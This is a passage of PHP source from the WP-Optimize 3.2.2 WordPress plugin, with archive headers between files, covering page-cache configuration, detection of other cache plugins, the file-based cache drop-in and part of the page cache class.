	 * @param boolean $default    Default value if the option doesn't exist (Default to false)
	 * @return mixed
	 */
	public function get_option($option_key, $default = false) {
		$options = $this->get();
		return isset($options[$option_key]) ? $options[$option_key] : $default;
	}

	/**
	 * Updates the given config object in file and DB
	 *
	 * @param array	  $config						- the cache configuration
	 * @param boolean $skip_disk_if_not_yet_present - only write the configuration file to disk if it already exists. This presents PHP notices if the cache has never been on, and settings are saved.
	 *
	 * @return bool
	 */
	public function update($config, $skip_disk_if_not_yet_present = false) {
		$config = wp_parse_args($config, $this->get_defaults());

		$config['page_cache_length_value'] = intval($config['page_cache_length_value']);
		$config['page_cache_length'] = $this->calculate_page_cache_length($config['page_cache_length_value'], $config['page_cache_length_unit']);

		/**
		 * Filters the cookies used to set cache file names
		 *
		 * @param array $cookies - The cookies
		 * @param array $config  - The new config
		 */
		$wpo_cache_cookies = apply_filters('wpo_cache_cookies', array(), $config);
		sort($wpo_cache_cookies);

		/**
		 * Filters the query variables used to set cache file names
		 *
		 * @param array $wpo_query_variables - The variables
		 * @param array $config              - The new config
		 */
		$wpo_query_variables = apply_filters('wpo_cache_query_variables', array(), $config);
		sort($wpo_query_variables);

		$config['wpo_cache_cookies'] = $wpo_cache_cookies;
		$config['wpo_cache_query_variables'] = $wpo_query_variables;
		
		$config = apply_filters('wpo_cache_update_config', $config);

		if (is_multisite()) {
			update_site_option('wpo_cache_config', $config);
		} else {
			update_option('wpo_cache_config', $config);
		}

		do_action('wpo_cache_config_updated', $config);

		return $this->write($config, $skip_disk_if_not_yet_present);
	}

	/**
	 * Calculate cache expiration value in seconds.
	 *
	 * @param int    $value
	 * @param string $unit  ( hours | days | months )
	 *
	 * @return int
	 */
	private function calculate_page_cache_length($value, $unit) {
		$cache_length_units = array(
			'hours' => 3600,
			'days' => 86400,
			'months' => 2629800, // 365.25 * 86400 / 12
		);

		return $value * $cache_length_units[$unit];
	}

	/**
	 * Deletes config files and options
	 *
	 * @return bool
	 */
	public function delete() {

		if (is_multisite()) {
			delete_site_option('wpo_cache_config');
		} else {
			delete_option('wpo_cache_config');
		}
		
		if (!WPO_Page_Cache::delete(WPO_CACHE_CONFIG_DIR)) {
			return false;
		}

		return true;
	}

	/**
	 * Writes config to file
	 *
	 * @param array	  $config		   - Configuration array.
	 * @param boolean $only_if_present - only writes to the disk if the configuration file already exists
	 *
	 * @return boolean - returns false if an attempt to write failed
	 */
	private function write($config, $only_if_present = false) {

		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			$config_file = WPO_CACHE_CONFIG_DIR.'/config-'.$url['host'].'.php';
		}

		$this->config = wp_parse_args($config, $this->get_defaults());

		// from 3.0.17 we use more secure way to store cache config files.
		$advanced_cache_version = WPO_Page_Cache::instance()->get_advanced_cache_version();
		// if advanced-cache.php exists and has at least 3.0.17 version or
		// advanced-cache.php doesn't exist then
		// we write the cache config in a new format.
		if (($advanced_cache_version && (version_compare($advanced_cache_version, '3.0.17', '>='))) || !$advanced_cache_version) {
			$config_content = '<?php' . "\n"
				. 'if (!defined(\'ABSPATH\')) die(\'No direct access allowed\');' . "\n\n"
				. '$GLOBALS[\'wpo_cache_config\'] = json_decode(\'' . json_encode($this->config) . '\', true);' . "\n";
		} else {
			$config_content = json_encode($this->config);
		}

		if ((!$only_if_present || file_exists($config_file)) && !file_put_contents($config_file, $config_content)) {
			return new WP_Error('write_cache_config', sprintf(__('The cache configuration file could not be saved to the disk; please check the file/folder permissions of %s .', 'wp-optimize'), $config_file));
		}

		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @since  1.0
	 * @return boolean
	 */
	public function verify_file_access() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}

		// First check wp-config.php.
		if (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {
			return false;
		}

		// Now check wp-content. We need to be able to create files of the same user as this file.
		if (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {
			return false;
		}

		// If the cache and config directories exist, make sure they're writeable
		if (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {
			
			if (file_exists(WPO_CACHE_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_DIR)) {
					return false;
				}
			}

			if (file_exists(WPO_CACHE_CONFIG_DIR)) {
				if (!$this->_is_dir_writable(WPO_CACHE_CONFIG_DIR)) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Return defaults
	 *
	 * @return array
	 */
	public function get_defaults() {
		
		$defaults = array(
			'enable_page_caching'						=> false,
			'page_cache_length_value'					=> 24,
			'page_cache_length_unit'					=> 'hours',
			'page_cache_length'							=> 86400,
			'cache_exception_urls'						=> array(),
			'cache_exception_cookies'					=> array(),
			'cache_exception_browser_agents'			=> array(),
			'enable_sitemap_preload'					=> false,
			'enable_schedule_preload'					=> false,
			'preload_schedule_type'						=> '',
			'enable_mobile_caching'						=> false,
			'enable_user_caching'						=> false,
			'site_url'									=> network_site_url('/'),
			'enable_cache_per_country'					=> false,
		);

		return apply_filters('wpo_cache_defaults', $defaults);
	}

	/**
	 * Return an instance of the current class, create one if it doesn't exist
	 *
	 * @since  1.0
	 * @return WPO_Cache_Config
	 */
	public static function instance() {

		if (!self::$instance) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/php-5.3-functions.php000644 000000 000000 00000000575 13614520640 032216 0ustar00rootwheel000000 000000 <?php

/**
 * Get path to wp-config.php when called from WP-CLI.
 *
 * @return string
 */
function wpo_wp_cli_locate_wp_config() {
	$config_path = '';

	if (is_callable('\WP_CLI\Utils\locate_wp_config')) {
		// phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ns_separatorFound
		$config_path = \WP_CLI\Utils\locate_wp_config();
	}

	return $config_path;
}
wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-detect-cache-plugins.php000644 000000 000000 00000004420 13665647440 034744 0ustar00rootwheel000000 000000 cms/wordpress<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimize_Detect_Cache_Plugins {

	private static $instance;

	/**
	 * WP_Optimize_Detect_Cache_Plugins constructor.
	 */
	protected function __construct() {
	}

	/**
	 * Detect list of active most popular WordPress cache plugins.
	 *
	 * @return array
	 */
	public function get_active_cache_plugins() {
		// The index is the plugin's slug

		$active_cache_plugins = array();

		foreach ($this->get_plugins() as $plugin_slug => $plugin_title) {

			$function_name = 'is_'.str_replace('-', '_', $plugin_slug).'_plugin_active';

			if (is_callable(array($this, $function_name))) {
				if (call_user_func(array($this, $function_name))) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			} else {
				if ($this->is_plugin_active($plugin_slug)) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			}
		}

		return $active_cache_plugins;
	}

	/**
	 * Get the plugins list
	 *
	 * @return array
	 */
	protected function get_plugins() {
		return array(
			'w3-total-cache' => 'W3 Total Cache',
			'wp-super-cache' => 'WP Super Cache',
			'wp-rocket' => 'WP Rocket',
			'wp-fastest-cache' => 'WP Fastest Cache',
			'litespeed-cache' => 'LiteSpeed Cache',
			'cache-enabler' => 'Cache Enabler',
			'comet-cache' => 'Comet Cache',
			'hummingbird-performance' => 'Hummingbird',
			'hyper-cache' => 'Hyper Cache',
		);
	}

	/**
	 * Check if W3 Total Cache active.
	 *
	 * @return bool
	 */
	public function is_w3_total_cache_plugin_active() {
		return defined('W3TC_VERSION') || $this->is_plugin_active('w3-total-cache');
	}

	/**
	 * Check if WP Rocket active.
	 *
	 * @return bool
	 */
	public function is_wp_rocket_plugin_active() {
		return defined('WP_ROCKET_VERSION') || $this->is_plugin_active('wp-rocket');
	}

	/**
	 * Check if $plugin is active.
	 *
	 * @param string $plugin - plugin slug
	 *
	 * @return bool
	 */
	private function is_plugin_active($plugin) {
		$status = WP_Optimize()->get_db_info()->get_plugin_status($plugin);

		return $status['active'];
	}

	/**
	 * Instance of WP_Optimize_Detect_Cache_Plugins.
	 *
	 * @return WP_Optimize_Detect_Cache_Plugins
	 */
	static public function instance() {
		static $instance;
		if (empty($instance)) {
			$instance = new self();
		}

		return $instance;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/file-based-page-cache.php000644 000000 000000 00000011314 14057473210 033057 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * File based page cache drop in
 */
require_once(dirname(__FILE__) . '/file-based-page-cache-functions.php');

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache');

/**
 * Load extensions.
 */
wpo_cache_load_extensions();

/**
 * Action triggered when the cache extensions are all loaded. Allows to execute code depending on an other extension, without knowing the order in which the files are loaded.
 */
if (function_exists('do_action')) {
	do_action('wpo_cache_extensions_loaded');
}

$no_cache_because = array();

// check if we want to cache current page.
if (function_exists('add_filter') && function_exists('apply_filters')) {
	add_filter('wpo_restricted_cache_page_type', 'wpo_restricted_cache_page_type');
	$restricted_cache_page_type = apply_filters('wpo_restricted_cache_page_type', false);
} else {
	// On old WP versions, you can't filter the result
	$restricted_cache_page_type = wpo_restricted_cache_page_type(false);
}

if ($restricted_cache_page_type) {
	$no_cache_because[] = $restricted_cache_page_type;
}

// Don't cache non-GET requests.
if (!isset($_SERVER['REQUEST_METHOD']) || 'GET' !== $_SERVER['REQUEST_METHOD']) {
	$no_cache_because[] = 'The request method was not GET ('.(isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '-').')';
}

$file_extension = $_SERVER['REQUEST_URI'];
$file_extension = preg_replace('#^(.*?)\?.*$#', '$1', $file_extension);
$file_extension = trim(preg_replace('#^.*\.(.*)$#', '$1', $file_extension));

// Don't cache disallowed extensions. Prevents wp-cron.php, xmlrpc.php, etc.
if (!preg_match('#index\.php$#i', $_SERVER['REQUEST_URI']) && !preg_match('#sitemap([a-zA-Z0-9_-]+)?\.xml$#i', $_SERVER['REQUEST_URI']) && in_array($file_extension, array('php', 'xml', 'xsl'))) {
	$no_cache_because[] = 'The request extension is not suitable for caching';
}

// Don't cache if logged in.
if (!empty($_COOKIE)) {
	$wp_cookies = array('wordpressuser_', 'wordpresspass_', 'wordpress_sec_', 'wordpress_logged_in_');

	if (!wpo_cache_loggedin_users()) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($wp_cookies as $cookie) {
				if (false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'WordPress login cookies were detected';
					break(2);
				}
			}
		}
	}

	if (!empty($_COOKIE['wpo_commented_post'])) {
		$no_cache_because[] = 'The user has commented on a post (comment cookie set)';
	}

	// get cookie exceptions from options.
	$cache_exception_cookies = !empty($GLOBALS['wpo_cache_config']['cache_exception_cookies']) ? $GLOBALS['wpo_cache_config']['cache_exception_cookies'] : array();
	// filter cookie exceptions, since WP 4.6
	$cache_exception_cookies = function_exists('apply_filters') ? apply_filters('wpo_cache_exception_cookies', $cache_exception_cookies) : $cache_exception_cookies;

	// check if any cookie exists from exception list.
	if (!empty($cache_exception_cookies)) {
		foreach ($_COOKIE as $key => $value) {
			foreach ($cache_exception_cookies as $cookie) {
				if ('' != trim($cookie) && false !== strpos($key, $cookie)) {
					$no_cache_because[] = 'An excepted cookie was set ('.$key.')';
					break 2;
				}
			}
		}
	}
}

// check in not disabled current user agent
if (!empty($_SERVER['HTTP_USER_AGENT']) && false === wpo_is_accepted_user_agent($_SERVER['HTTP_USER_AGENT'])) {
	$no_cache_because[] = "In the settings, caching is disabled for matches for this request's user agent";
}

// Deal with optional cache exceptions.
if (wpo_url_in_exceptions(wpo_current_url())) {
	$no_cache_because[] = 'In the settings, caching is disabled for matches for the current URL';
}

if (!empty($_GET)) {
	// get variables used for building filename.
	$get_variable_names = wpo_cache_query_variables();

	$get_variables = wpo_cache_maybe_ignore_query_variables(array_keys($_GET));

	// if GET variables include one or more undefined variable names then we don't cache.
	$get_variables_diff = array_diff($get_variables, $get_variable_names);
	if (!empty($get_variables_diff)) {
		$no_cache_because[] = "In the settings, caching is disabled for matches for one of the current request's GET parameters";
	}
}

if (!empty($no_cache_because)) {
	$no_cache_because_message = implode(', ', $no_cache_because);

	// Add http header
	if (!defined('DOING_CRON') || !DOING_CRON) {
		wpo_cache_add_nocache_http_header($no_cache_because_message);
	}

	// Only output if the user has turned on debugging output
	if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON)) {
		wpo_cache_add_footer_output("Page not served from cache because: ".htmlspecialchars($no_cache_because_message));
	}
	return;
}

wpo_serve_cache();

ob_start('wpo_cache');
cms/wordpress/wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/class-wpo-page-cache.php000644 000000 000000 00000111473 14151417634 033006 0ustar00rootwheel000000 000000 <?php
/**
 * Page caching functionality
 *
 * Acknowledgement: The page cache functionality was loosely based on the simple cache plugin - https://github.com/tlovett1/simple-cache
 */

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Base cache directory, everything else goes under here
 */
if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', untrailingslashit(WP_CONTENT_DIR).'/wpo-cache');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Directory that stores config and related files
 */
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');

/**
 * Directory that stores the cache, including gzipped files and mobile specifc cache
 */
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', untrailingslashit(WP_CONTENT_DIR).'/cache/wpo-cache');

if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('WP_Optimize_Detect_Cache_Plugins')) require_once(dirname(__FILE__) . '/class-wpo-detect-cache-plugins.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');
if (!class_exists('WPO_Cache_Config')) require_once(dirname(__FILE__) . '/class-wpo-cache-config.php');
if (!class_exists('WPO_Cache_Rules')) require_once(dirname(__FILE__) . '/class-wpo-cache-rules.php');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'includes/class-updraft-php-logger.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
	require_once dirname(__FILE__) . '/php-5.3-functions.php';
}

wpo_cache_load_extensions();

if (!class_exists('WPO_Page_Cache')) :

class WPO_Page_Cache {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Logger for this class
	 *
	 * @var mixed
	 */
	public $logger;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	/**
	 * Store last advanced cache file writing status
	 * If true then last writing finished with error
	 *
	 * @var bool
	 */
	public $advanced_cache_file_writing_error;

	/**
	 * Store errors
	 *
	 * @var array
	 */
	private $_errors = array();

	/**
	 * Last advanced cache file content
	 *
	 * @var string
	 */
	public $advanced_cache_file_content;

	/**
	 * Store the latest advanced-cache.php version required
	 *
	 * @var string
	 */
	private $_minimum_advanced_cache_file_version = '3.0.17';

	/**
	 * Set everything up here
	 */
	public function __construct() {
		$this->config = WPO_Cache_Config::instance();
		$this->rules  = WPO_Cache_Rules::instance();
		$this->logger = new Updraft_PHP_Logger();

		add_action('activate_plugin', array($this, 'activate_deactivate_plugin'));
		add_action('deactivate_plugin', array($this, 'activate_deactivate_plugin'));

		/**
		 * Regenerate config file on cache flush.
		 */
		add_action('wpo_cache_flush', array($this, 'update_cache_config'));
		add_action('wpo_cache_flush', array($this, 'delete_cache_size_information'));

		// Add purge cache link to admin bar.
		add_filter('wpo_cache_admin_bar_menu_items', array($this, 'admin_bar_purge_cache'), 20, 1);

		// Handle single page purge.
		add_action('wp_loaded', array($this, 'handle_purge_single_page_cache'));

		add_action('admin_init', array($this, 'admin_init'));

		$this->check_compatibility_issues();
	}

	/**
	 * Do required actions on activate/deactivate any plugin.
	 */
	public function activate_deactivate_plugin() {

		$this->update_cache_config();

		/**
		 * Filters whether activating / deactivating a plugin will purge the cache.
		 */
		if (apply_filters('wpo_purge_page_cache_on_activate_deactivate_plugin', true)) {
			$this->purge();
		}
	}

	/**
	 * Check if current user can purge cache.
	 *
	 * @return bool
	 */
	public function can_purge_cache() {
		if (is_multisite()) return $this->is_enabled() && current_user_can('manage_network_options');
		return $this->is_enabled() && current_user_can('manage_options');
	}

	/**
	 * Add Purge from cache in admin bar.
	 *
	 * @param array        $menu_items
	 * @return array
	 */
	public function admin_bar_purge_cache($menu_items) {
		global $pagenow;
		if (!$this->can_purge_cache()) return $menu_items;

		$act_url = remove_query_arg(array('wpo_single_page_cache_purged', 'wpo_all_pages_cache_purged'));

		$cache_size = $this->get_cache_size();
		$cache_size_info = '<h4>'.__('Page cache', 'wp-optimize').'</h4>';
		$cache_size_info .= '<span>'.__('Cache size:', 'wp-optimize').' '. WP_Optimize()->format_size($cache_size['size']).' '.sprintf(__('(%d files)', 'wp-optimize'), $cache_size['file_count']).'</span>';

		$menu_items[] = array(
			'id'    => 'wpo_cache_stats',
			'title' => $cache_size_info,
			'meta'  => array(
				'class' => 'wpo-cache-stats',
			),
			'parent' => 'wpo_purge_cache',
		);

		$menu_items[] = array(
			'id'    => 'wpo_purge_all_pages_cache',
			'title' => __('Purge cache for all pages', 'wp-optimize'),
			'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_all_pages_cache'), $act_url),
			'meta'  => array(
				'title' => __('Purge cache for all pages', 'wp-optimize'),
			),
			'parent' => 'wpo_purge_cache',
		);

		if (!is_admin() || 'post.php' == $pagenow) {
			$menu_items[] = array(
				'id'    => 'wpo_purge_this_page_cache',
				'title' => __('Purge cache for this page', 'wp-optimize'),
				'href'  => add_query_arg('_wpo_purge', wp_create_nonce('wpo_purge_single_page_cache'), $act_url),
				'meta'  => array(
					'title' => __('Purge cache for this page', 'wp-optimize'),
				),
				'parent' => 'wpo_purge_cache',
			);
		}

		return $menu_items;

	}

	/**
	 * Check if purge single page action sent and purge cache.
	 */
	public function handle_purge_single_page_cache() {

		if (!$this->can_purge_cache()) return;

		if (isset($_GET['wpo_single_page_cache_purged']) || isset($_GET['wpo_all_pages_cache_purged'])) {
			if (isset($_GET['wpo_single_page_cache_purged'])) {
				$notice_function = $_GET['wpo_single_page_cache_purged'] ? 'notice_purge_single_page_cache_success' : 'notice_purge_single_page_cache_error';
			} else {
				$notice_function = $_GET['wpo_all_pages_cache_purged'] ? 'notice_purge_all_pages_cache_success' : 'notice_purge_all_pages_cache_error';
			}

			add_action('admin_notices', array($this, $notice_function));

			return;
		}

		if (!isset($_GET['_wpo_purge'])) return;

		if (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_single_page_cache')) {
			$success = false;

			if (is_admin()) {
				$post = isset($_GET['post']) ? (int) $_GET['post'] : 0;
				if ($post > 0) {
					$success = self::delete_single_post_cache($post);
				}
			} else {
				$success = self::delete_cache_by_url(wpo_current_url());
			}

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_single_page_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;

		} elseif (wp_verify_nonce($_GET['_wpo_purge'], 'wpo_purge_all_pages_cache')) {
			$success = self::purge();

			// remove nonce from url and reload page.
			wp_redirect(add_query_arg('wpo_all_pages_cache_purged', $success, remove_query_arg('_wpo_purge')));
			exit;
		}
	}

	/**
	 * Show notification when page cache purged successfully.
	 */
	public function notice_purge_single_page_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when page cache wasn't purged.
	 */
	public function notice_purge_single_page_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification when all pages cache purged successfully.
	 */
	public function notice_purge_all_pages_cache_success() {
		$this->show_notice(__('The page cache was successfully purged.', 'wp-optimize'), 'success');
	}

	/**
	 * Show notification when all pages cache wasn't purged.
	 */
	public function notice_purge_all_pages_cache_error() {
		$this->show_notice(__('The page cache was not purged.', 'wp-optimize'), 'error');
	}

	/**
	 * Show notification in WordPress admin.
	 *
	 * @param string $message HTML (no further escaping is performed)
	 * @param string $type    error, warning, success, or info
	 */
	public function show_notice($message, $type) {
		global $current_screen;
		
		if ($current_screen && is_callable(array($current_screen, 'is_block_editor')) && $current_screen->is_block_editor()) : ?>
			<script>
				window.addEventListener('load', function() {
					(function(wp) {
						if (window.wp && wp.hasOwnProperty('data') && 'function' == typeof wp.data.dispatch) {
							wp.data.dispatch('core/notices').createNotice(
								'<?php echo $type; ?>',
								'<?php echo $message; ?>',
								{
									isDismissible: true,
								}
							);
						}
					})(window.wp);
				});
			</script>
		<?php else : ?>
			<div class="notice wpo-notice notice-<?php echo $type; ?> is-dismissible">
				<p><?php echo $message; ?></p>
			</div>
		<?php
		endif;
	}

	/**
	 * Enables page cache
	 *
	 * @param bool $force_enable - Force regenerating everything. E.g. we want to do that when saving the settings
	 *
	 * @return WP_Error|bool - true on success, error otherwise
	 */
	public function enable($force_enable = false) {
		static $already_ran_enable = false;

		if ($already_ran_enable) return $already_ran_enable;

		$folders_created = $this->create_folders();
		if (is_wp_error($folders_created)) {
			$already_ran_enable = $folders_created;
			return $already_ran_enable;
		}

		// if WPO_ADVANCED_CACHE isn't set, or environment doesn't contain the right constant, force regeneration
		if (!defined('WPO_ADVANCED_CACHE') || !defined('WP_CACHE')) {
			$force_enable = true;
		}

		if (!$force_enable) {
			$already_ran_enable = true;
			return true;
		}

		if (!$this->write_advanced_cache() && version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<')) {
			$message = sprintf("The request to write the file %s failed. ", htmlspecialchars($this->get_advanced_cache_filename()));
			$message .= ' '.__('Please check file and directory permissions on the file paths up to this point, and your PHP error log.', 'wp-optimize');

			if (!defined('WP_CLI') || !WP_CLI) {
				$message .= "\n\n".sprintf(__('1. Please navigate, via FTP, to the folder - %s', 'wp-optimize'), htmlspecialchars(dirname($this->get_advanced_cache_filename())));
				$message .= "\n".__('2. Edit or create a file with the name advanced-cache.php', 'wp-optimize');
				$message .= "\n".__('3. Copy and paste the following lines into the file:', 'wp-optimize');
			}

			$already_ran_enable = new WP_Error("write_advanced_cache", $message);
			return $already_ran_enable;
		}

		if (!$this->write_wp_config(true)) {
			$already_ran_enable = new WP_Error("write_wp_config", "Could not turn on the WP_CACHE constant in wp-config.php. Check your permissions.");
			return $already_ran_enable;
		}

		if (!$this->verify_cache()) {
			$errors = $this->get_errors();
			$already_ran_enable = new WP_Error("verify_cache", "Could not verify if the cache was enabled: \n".implode("\n- ", $errors));
			return $already_ran_enable;
		}

		$already_ran_enable = true;

		return true;
	}

	/**
	 * Disables page cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function disable() {
		$ret = true;

		$advanced_cache_file = $this->get_advanced_cache_filename();

		// N.B. The only use of WP_CACHE in WP core is to include('advanced-cache.php') (and run a function if it's then defined); so, if the decision to leave it enable is, for some unexpected reason, technically incorrect, it still can't cause a problem.
		$disabled_wp_config = $this->write_wp_config(false);
		if (!$disabled_wp_config) {
			$this->log("Could not turn off the WP_CACHE constant in wp-config.php");
			$this->add_warning('error_disabling', __('Could not turn off the WP_CACHE constant in wp-config.php', 'wp-optimize'));
		}

		$disabled_advanced_cache = true;
		// First try to remove (so that it doesn't look to any other plugin like the file is already 'claimed')
		// We only touch advanched-cache.php and wp-config.php if it appears that we were in control of advanced-cache.php
		if (!file_exists($advanced_cache_file) || false !== strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) {
			if (file_exists($advanced_cache_file) && (!unlink($advanced_cache_file) && false === file_put_contents($advanced_cache_file, "<?php\n// WP-Optimize: page cache disabled"))) {
				$disabled_advanced_cache = false;
				$this->log("The request to the filesystem to remove or empty advanced-cache.php failed");
				$this->add_warning('error_disabling', __('The request to the filesystem to remove or empty advanced-cache.php failed', 'wp-optimize'));
			}
		}

		// If both actions failed, the cache wasn't disabled. So we send an error. If only one succeeds, it will still be disabled.
		if (!$disabled_wp_config && !$disabled_advanced_cache) {
			$ret = new WP_Error('error_disabling_cache', __('The page caching could not be disabled: the WP_CACHE constant could not be removed from wp-config.php and the request to the filesystem to remove or empty advanced-cache.php failed.', 'wp-optimize'));
		}

		// Delete cache to avoid stale cache on next activation
		$this->purge();

		return $ret;
	}


	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function purge() {

		if (!self::delete(WPO_CACHE_FILES_DIR)) {
			$this->log("The request to the filesystem to delete the cache failed");
			return false;
		}

		/**
		 * Fires after purging the cache
		 */
		do_action('wpo_cache_flush');

		return true;
	}

	/**
	 * Purges the cache
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function clean_up() {

		$this->disable();

		if (!self::delete(WPO_CACHE_DIR, true)) {
			$this->log("The request to the filesystem to clean up the cache failed");
			return false;
		}

		return true;
	}

	/**
	 * Check if cache is enabled and working
	 *
	 * @return bool - true on success, false otherwise
	 */
	public function is_enabled() {

		if (!defined('WP_CACHE') || !WP_CACHE) {
			return false;
		}

		if (!defined('WPO_ADVANCED_CACHE') || !WPO_ADVANCED_CACHE) {
			return false;
		}

		if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
			return false;
		}

		return true;
	}

	/**
	 * Create the folder structure needed for cache to work
	 *
	 * @return bool - true on success, false otherwise
	 */
	private function create_folders() {

		if (!is_dir(WPO_CACHE_DIR) && !wp_mkdir_p(WPO_CACHE_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_DIR)));
		}

		if (!is_dir(WPO_CACHE_CONFIG_DIR) && !wp_mkdir_p(WPO_CACHE_CONFIG_DIR)) {
			return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_CONFIG_DIR)));
		}
		
		if (!is_dir(WPO_CACHE_FILES_DIR)) {
			if (!wp_mkdir_p(WPO_CACHE_FILES_DIR)) {
				return new WP_Error('create_folders', sprintf(__('The request to the filesystem failed: unable to create directory %s. Please check your file permissions.'), str_ireplace(ABSPATH, '', WPO_CACHE_FILES_DIR)));
			} else {
				wpo_disable_cache_directories_viewing();
			}
		}

		return true;
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_advanced_cache_filename() {
		return untrailingslashit(WP_CONTENT_DIR) . '/advanced-cache.php';
	}

	/**
	 * Get advanced-cache.php file name with full path.
	 *
	 * @return string
	 */
	public function get_cache_config_filename() {
		$url = parse_url(network_site_url());

		if (isset($url['port']) && '' != $url['port'] && 80 != $url['port']) {
			return 'config-'.$url['host'].'-port'.$url['port'].'.php';
		} else {
			return 'config-'.$url['host'].'.php';
		}
	}

	/**
	 * Writes advanced-cache.php
	 *
	 * @param boolean $update_required - Whether the update is required or not.
	 * @return bool
	 */
	private function write_advanced_cache($update_required = false) {
		$config_file_basename = $this->get_cache_config_filename();
		$cache_file_basename = untrailingslashit(plugin_dir_path(__FILE__));
		$plugin_basename = basename(WPO_PLUGIN_MAIN_PATH);
		$cache_path = '/wpo-cache';
		$cache_files_path = '/cache/wpo-cache';
		$cache_extensions_path = WPO_CACHE_EXT_DIR;
		$wpo_version = WPO_VERSION;
		$wpo_home_url = trailingslashit(home_url());

		// CS does not like heredoc
		// phpcs:disable
		$this->advanced_cache_file_content = <<<EOF
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

// WP-Optimize advanced-cache.php (written by version: $wpo_version) (do not change this line, it is used for correctness checks)

if (!defined('WPO_ADVANCED_CACHE')) define('WPO_ADVANCED_CACHE', true);

\$possible_plugin_locations = array(
	defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR.'/$plugin_basename/cache' : false,
	defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR.'/plugins/$plugin_basename/cache' : false,
	dirname(__FILE__).'/plugins/$plugin_basename/cache',
	'$cache_file_basename',
);

\$plugin_location = false;

foreach (\$possible_plugin_locations as \$possible_location) {
	if (false !== \$possible_location && @file_exists(\$possible_location.'/file-based-page-cache.php')) {
		\$plugin_location = \$possible_location;
		break;
	}
}

if (false === \$plugin_location) {
	if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND')) define('WPO_PLUGIN_LOCATION_NOT_FOUND', true);
	\$protocol = \$_SERVER['REQUEST_SCHEME'];
	\$host = \$_SERVER['HTTP_HOST'];
	\$request_uri = \$_SERVER['REQUEST_URI'];
	if (strcasecmp('$wpo_home_url', \$protocol . '://' . \$host . \$request_uri) === 0) {
		error_log('WP-Optimize: No caching took place, because the plugin location could not be found');
	}
} else {
	if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND')) define('WPO_PLUGIN_LOCATION_NOT_FOUND', false);
}

